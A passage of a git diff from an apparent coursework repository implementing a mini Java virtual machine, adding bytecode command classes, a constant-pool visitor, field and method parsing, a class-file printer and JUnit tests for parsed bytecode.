+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..85bb369c19
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6c0cf53082
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
index aea9048ea4..c8e65ff493 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -21,4 +21,8 @@ public String getClassName() {
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
index 5d66317801..88353df2d3 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -18,11 +18,6 @@ public ConstantInfo(ConstantPool pool) {
 		this.constantPool = pool;
 	}
 	public abstract int getType();
-
-	@Override
-	public String toString(){
-		return super.toString();
-	}
 	
 	public ConstantPool getConstantPool() {
 		return constantPool;
@@ -31,4 +26,15 @@ public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
 	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
index f92c8028b9..86c0445695 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -1,11 +1,11 @@
 package com.coderising.jvm.constant;
 
-import java.util.LinkedList;
+import java.util.ArrayList;
 import java.util.List;
 
 public class ConstantPool {
 	
-	private List<ConstantInfo> constantInfos = new LinkedList<ConstantInfo>();
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
 	
 	
 	public ConstantPool(){
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
index 65475e194c..7ae71396ef 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -51,4 +51,8 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);		
+	}
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
index 65c586916c..c85d1c8ccd 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -27,8 +27,7 @@ public int getNameAndTypeIndex() {
 	public void setNameAndTypeIndex(int nameAndTypeIndex) {
 		this.nameAndTypeIndex = nameAndTypeIndex;
 	}
-
-	@Override
+	
 	public String toString(){
 	
 		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
@@ -50,6 +49,11 @@ public String getParamAndReturnType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);		
+	}
 	
 	
 	
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
index b9d9185ef8..e4f6d027e0 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -46,4 +46,10 @@ public String getTypeInfo(){
 	public String toString(){
 		return "(" + getName() + "," + getTypeInfo()+")";
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
index 936736016f..41e0fd7e7a 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -9,5 +9,9 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
 	
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
index f1f8eb4ed4..6bfcb47273 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -22,5 +22,11 @@ public void setIndex(int index) {
 	public String toString(){
 		return this.getConstantPool().getUTF8String(index);
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
 	
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
index 5cac9f04f7..7db88a939e 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -26,6 +26,11 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+		
+	}
 	
 	
 
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/field/Field.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..acbb77410a
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,47 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+
+    private ConstantPool pool;
+
+    public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
+
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+        this.pool = pool;
+    }
+
+    @Override
+    public String toString() {
+        String name = pool.getUTF8String(nameIndex);
+        String descr = pool.getUTF8String(descriptorIndex);
+
+        return name+":"+descr;
+    }
+
+    public static Field parse(ConstantPool pool, ByteCodeIterator iter) {
+        int accessFlag = iter.nextU2Int();
+        int nameIndex = iter.nextU2Int();
+        int descriptorIndex = iter.nextU2Int();
+
+        int attributsCount = iter.nextU2Int();
+
+        if (attributsCount > 0) {
+            throw new RuntimeException("field : " + ((UTF8Info) pool.getConstantInfo(nameIndex)).getValue() + "has attributes to be implemented !!");
+        }
+
+        Field field = new Field(accessFlag,nameIndex,descriptorIndex,pool);
+        return field;
+    }
+
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
index e4c5c83681..59d072ef0b 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -5,30 +5,50 @@
 import java.util.Arrays;
 
 public class ByteCodeIterator {
-    private byte[] code ;
+    private byte[] code;
     private int pos = 0;
 
     public ByteCodeIterator(byte[] code) {
         this.code = code;
     }
 
-    public int nextU1Int(){
+    public byte[] getBytes(int length) {
+        if (pos + length >= code.length) {
+            throw new IndexOutOfBoundsException("not enough bytes!");
+        }
+        byte[] bytes = Arrays.copyOfRange(code, pos, pos + length);
+        pos += length;
+        return bytes;
+    }
+
+    public int nextU1Int() {
         return Util.byteToInt(new byte[]{code[pos++]});
     }
-    public int nextU2Int(){
 
-        return Util.byteToInt(new byte[]{code[pos++],code[pos++]});
+    public int nextU2Int() {
+
+        return Util.byteToInt(new byte[]{code[pos++], code[pos++]});
     }
-    public String nextU4HexString(){
-        return Util.byteToHexString(new byte[]{code[pos++],code[pos++],code[pos++],code[pos++]});
+
+    public int nextU4Int() {
+        return Util.byteToInt(new byte[]{code[pos++], code[pos++], code[pos++], code[pos++]});
     }
 
-    public byte[] getBytes(int length){
-        if(pos+length >= code.length){
-            throw new IndexOutOfBoundsException("not enough bytes!");
+    public String nextU4HexString() {
+        return Util.byteToHexString(new byte[]{code[pos++], code[pos++], code[pos++], code[pos++]});
+    }
+
+    public String nextUxToHexString(int len) {
+        byte[] tmp = new byte[len];
+
+        for (int i = 0; i < len; i++) {
+            tmp[i] = code[pos++];
         }
-        byte[] bytes = Arrays.copyOfRange(code,pos,pos+length);
-        pos += length;
-        return bytes;
+        return Util.byteToHexString(tmp).toLowerCase();
+
+    }
+
+    public void back(int n) {
+        this.pos -= n;
     }
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
index 0c35bca807..e9bfa54720 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -4,6 +4,8 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
 import com.coderising.jvm.constant.*;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 
 import java.io.UnsupportedEncodingException;
 
@@ -26,6 +28,10 @@ public ClassFile parse(byte[] codes) {
         clzFile.setAccessFlag(parseAccessFlag(iterator));
         clzFile.setClassIndex(parseClassIndex(iterator));
 
+        parseInterfaces(iterator);
+        parseFields(clzFile,iterator);
+        parseMethods(clzFile,iterator);
+
         return clzFile;
     }
 
@@ -102,8 +108,34 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
             }
 
         }
+		System.out.println("Finished reading Constant pool ");
         return pool;
     }
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2Int();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+
+    private void parseFields(ClassFile clazzFile,ByteCodeIterator iterator){
+        int fieldCount = iterator.nextU2Int();
+        for (int i = 0 ;i<fieldCount;i++){
+            Field field = Field.parse(clazzFile.getConstantPool(),iterator);
+            clazzFile.addField(field);
+        }
+
+    }
+
+    private void parseMethods(ClassFile clazzFile,ByteCodeIterator iterator){
+        int methodCount = iterator.nextU2Int();
+        for(int i = 0;i<methodCount;i++){
+            Method method = Method.parse(clazzFile,iterator);
+            clazzFile.addMethod(method);
+        }
+
+    }
 
 
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/method/Method.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..d7716bf181
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,98 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Method {
+
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private CodeAttr codeAttr;
+
+    private ClassFile clzFile;
+
+
+    public ClassFile getClzFile() {
+        return clzFile;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public CodeAttr getCodeAttr() {
+        return codeAttr;
+    }
+
+    public void setCodeAttr(CodeAttr code) {
+        this.codeAttr = code;
+    }
+
+    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
+        this.clzFile = clzFile;
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+    }
+
+
+    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
+
+        int accessFlag = iter.nextU2Int();
+        int nameIndex = iter.nextU2Int();
+        int descriptorIndex = iter.nextU2Int();
+
+        Method method = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
+
+        int attirbutesCount = iter.nextU2Int();
+        //解析属性
+        for (int i = 0; i < attirbutesCount; i++) {
+            int attributeNameIndex = iter.nextU2Int();
+            iter.back(2);
+            String attributeName = ((UTF8Info) clzFile.getConstantPool().getConstantInfo(attributeNameIndex)).getValue();
+            //解析CODE
+            if (null != attributeName && attributeName.equalsIgnoreCase(AttributeInfo.CODE)) {
+                CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+                method.setCodeAttr(codeAttr);
+
+            } else {
+                throw new RuntimeException("there's other method attribute to be implemented:attributeName = " + attributeName);
+            }
+        }
+
+        return method;
+
+    }
+	
+	public ByteCodeCommand[] getCmds() {
+		return this.getCodeAttr().getCmds();
+	}
+	
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..ac8be13069
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMajorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "/Users/guodongchow/Desktop/coding2017/";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..460c003aac
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,83 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+
+		System.out.println("Constant Pool:");
+
+		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
+
+			@Override
+			public void visitString(StringInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("String    #").append(info.getIndex());
+				System.out.println(buffer);
+
+			}
+
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("NameAndType    #").append(info.getNameIndex()).append(":#")
+						.append(info.getDescriptorIndex());
+				System.out.println(buffer);
+
+			}
+
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("MethodRef    #").append(info.getClassInfoIndex()).append(".#")
+						.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+
+			}
+
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("FieldRef    #").append(info.getClassInfoIndex()).append(".#")
+						.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+
+			}
+
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("Class    #").append(info.getUtf8Index())
+						.append("  ").append(info.getClassName());
+
+				System.out.println(buffer);
+
+			}
+
+			@Override
+			public void visistUTF8(UTF8Info info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("UTF8    ").append(info.getValue());
+				System.out.println(buffer);
+
+			}
+		};
+
+		for(int i=1; i<=pool.getSize(); i++){
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			System.out.print("#"+i+"=");
+			constantInfo.accept(visitor);
+		}
+	}
+}
\ No newline at end of file
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index b3b281bc8a..8a522e4338 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -2,15 +2,20 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
 import com.coderising.jvm.constant.*;
+import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
-
-
+import java.util.List;
 
 
 public class ClassFileloaderTest {
@@ -18,14 +23,15 @@ public class ClassFileloaderTest {
 	
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 
-	static String path1 = "/Users/guodongchow/Desktop/coding2017/projects/mini-jvm/bin/";
-	static String path2 = "/Users/guodongchow/bin";
+//	static String path1 = "/Users/guodongchow/Desktop/coding2017/projects/mini-jvm/bin/";
+	static String path1 = "/Users/guodongchow/Desktop/coding2017/";
+	static String path2 = "/Users/guodongchow/bin/";
 	
 	static ClassFile clzFile = null;
 	static {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
+		String className = "EmployeeV1";
 		
 		clzFile = loader.loadClass(className);
 		clzFile.print();
@@ -59,7 +65,7 @@ public void testClassFileLength() {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
 		
-		String className = "com.coderising.jvm.test.EmployeeV1";
+		String className = "EmployeeV1";
 
 		byte[] byteCodes = loader.readBinaryCode(className);
 
@@ -103,10 +109,7 @@ private String byteToHexString(byte[] codes ){
 	}
 	
 	
-	
-	
-	
-	
+
 	@Test
     public void testVersion(){    			
 		
@@ -193,7 +196,151 @@ public void testClassIndex(){
     	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
     	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool, m,
+					"setName",
+					"(Ljava/lang/String;)V",
+					"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool, m,
+					"setAge",
+					"(I)V",
+					"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool, m,
+					"sayHello",
+					"()V",
+					"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool, m,
+					"main",
+					"([Ljava/lang/String;)V",
+					"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
     
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand[] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand[] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand[] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand[] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
    
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
 
 }
diff --git a/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixExpr.java b/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixExpr.java
index 08918c490c..cebef21fa3 100644
